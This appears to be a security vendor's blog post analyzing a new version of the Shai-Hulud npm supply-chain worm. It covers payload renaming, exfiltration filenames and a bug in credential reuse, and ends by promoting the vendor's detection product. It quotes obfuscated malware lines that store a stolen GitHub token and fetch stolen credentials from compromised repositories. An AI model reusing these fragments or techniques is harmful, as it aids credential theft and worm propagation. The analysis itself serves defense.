During the recent holiday period, a new version of the Shai-Hulud supply-chain worm was observed in the wild. The update was first publicly documented by Charlie Eriksen from Aikido Security in his blog, after the malicious code was initially detected in the @vietmoney/react-big-calendar npm package.
On December 31st, it was discovered that 10 additional packages published under the @vietmoney namespace were also infected. In response, npm removed all of the affected packages entirely, including older versions that did not contain the malicious code.
Following this disclosure, I took the opportunity to analyze the new version in depth, both statically and at runtime.
Based on the code changes, this does not appear to be a copycat or a simple fork. The modifications suggest that whoever made these changes had direct access to the original codebase.
In this post, I’ll walk through what changed in Shai-Hulud 3.0, what went wrong for the attacker, and how Sweet Security can detect and stop this threat in real time.
What Changed in Shai-Hulud 3.0
At a high level, the worm keeps the same goal:
steal credentials from developer environments and CI/CD systems, then self-propagate by backdooring additional repositories.
However, several meaningful changes stand out.
Payload Renaming and Structure Changes
The malicious payload was renamed, likely to evade simple signature-based detection:
- bun_installer.js — the loader
- environment_source.js — the main malicious logic
These names closely resemble legitimate tooling and dependency setup scripts, which makes them blend more easily into CI pipelines and developer machines.
Another notable change:
the “dead-man switch” logic was completely removed from the code. Previously, the malware included logic that attempted to delete files and folders under certain conditions. That restraint is now gone.
Improved TruffleHog timeout handling
The new version includes improved error handling around TruffleHog execution, allowing the worm to continue execution when TruffleHog times out instead of failing the entire flow.
OS-aware package publishing logic
In previous versions, the malware attempted to publish infected npm packages using Bun, which failed on Windows systems. Shai-Hulud 3.0 now handles package publishing in a way that works across operating systems, improving propagation reliability.
Changes in Exfiltration Artifacts
The way stolen data is stored and pushed to GitHub also changed.
The new version saves exfiltrated data under the following filenames:
- 3nvir0nm3nt.json
- actionsSecrets.json
- c9nt3nts.json
- cl0vd.json
- pigS3cr3ts.json
Two things are interesting here:
- The filenames changed, likely to avoid pattern-based detection.
- The order of exfiltration changed — the contents file is now saved last.
In previous versions it was saved first, which strongly suggests a shift in attacker priorities.
The repository description was also modified to a new, odd string:
"Goldox-T3chs: Only Happy Girl."
While meaningless on its own, these kinds of changes often help attackers track campaigns internally.
The Mistake: contents File Name Mismatch
Despite the updates, the new version contains a critical logic bug.
When the worm exfiltrates a GitHub token, it stores it in:
let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
However, when the worm later tries to reuse stolen credentials from previously compromised repositories, it looks for:
let _0x20e4ac = "https://raw.githubusercontent.com/" + _0x168165 + '/' + _0x6e4ad4 + "/main/c0nt3nts.json";
That single character mismatch (9 vs 0) breaks the fallback credential-reuse logic entirely.
In other words:
if no local Git credentials are found, the worm fails to reuse already-stolen tokens, even if they exist.
This is a rare example where attacker evolution actually reduced reliability.
Detecting and Stopping Shai-Hulud 3.0 with Sweet Security
Shai-Hulud 3.0 can be reliably detected at runtime using behavioral analysis, without relying on static indicators such as filenames, package names, or repository reputation.
By monitoring actual execution behavior—including anomalous process execution, credential access patterns, cloud metadata interactions, and propagation logic—Sweet Security can identify this attack as it unfolds, even as the malware evolves.
A technical breakdown of the detonation and detection approach is available in my research paper on Shai-Hulud 2.0.
Beyond detection, Sweet Security can also be configured to actively stop the attack at runtime. When the malicious payload is executed, Sweet can terminate the processes responsible for its execution—specifically node bun_installer.js and bun environment_source.js—preventing credential harvesting, propagation, and exfiltration before impact occurs.
Final Thoughts
Shai-Hulud 3.0 shows that even active, evolving supply-chain malware is still written by humans — and humans make mistakes.
More importantly, this campaign highlights why runtime visibility is critical.
Static scanning alone cannot catch malicious behavior that dynamically downloads tools, accesses cloud metadata, or repurposes CI infrastructure.
With Sweet Security, our customers are protected from these attacks in real time. We detect and stop the malicious activity as it happens — before stolen credentials ever leave the environment.
In addition, Sweet customers can safely simulate attacks like Shai-Hulud in controlled environments using Sweet’s own simulation code, allowing them to validate their defenses and better understand their exposure without putting production systems at risk.
.png)
